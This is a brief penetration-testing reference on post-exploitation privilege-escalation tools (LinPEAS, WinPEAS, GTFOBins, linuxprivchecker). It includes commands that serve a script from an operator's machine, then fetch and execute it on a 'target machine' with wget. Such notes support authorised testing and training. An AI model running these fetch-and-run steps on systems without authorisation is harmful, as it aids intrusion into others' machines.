Tools and Utilities

Here we can find some tools and utilities commonly used for practices related to post-exploitation:

LinPEAS

• Script that searches for possible paths to escalate privileges on Linux/Unix*/MacOS hosts

• https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

Commands

• Installation

sudo apt install peass

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• Usage

#Host machine
linpeas
python3 -m http.server $port #Create server to send file

#Target machine
cd /tmp
wget http://$hostIP:$port/linpeas.sh
bash linpeas.sh

WinPEAS

• Script that searches for possible paths to escalate privileges on Windows hosts

• https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe

Commands

• Usage

#Host machine
wget https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe
python3 -m http.server $port #Create server to send file

#Target machine
wget http://$hostIP:$port/winPEASx64.exe
.\winPEASx64.exe

GTFOBins

• List of Unix binaries used to bypass local security restrictions in misconfigured systems

• https://gtfobins.github.io/

linuxprivchecker

• Enumerate basic system info and search for common privilege escalation vectors on Linux systems

• https://github.com/sleventyeleven/linuxprivchecker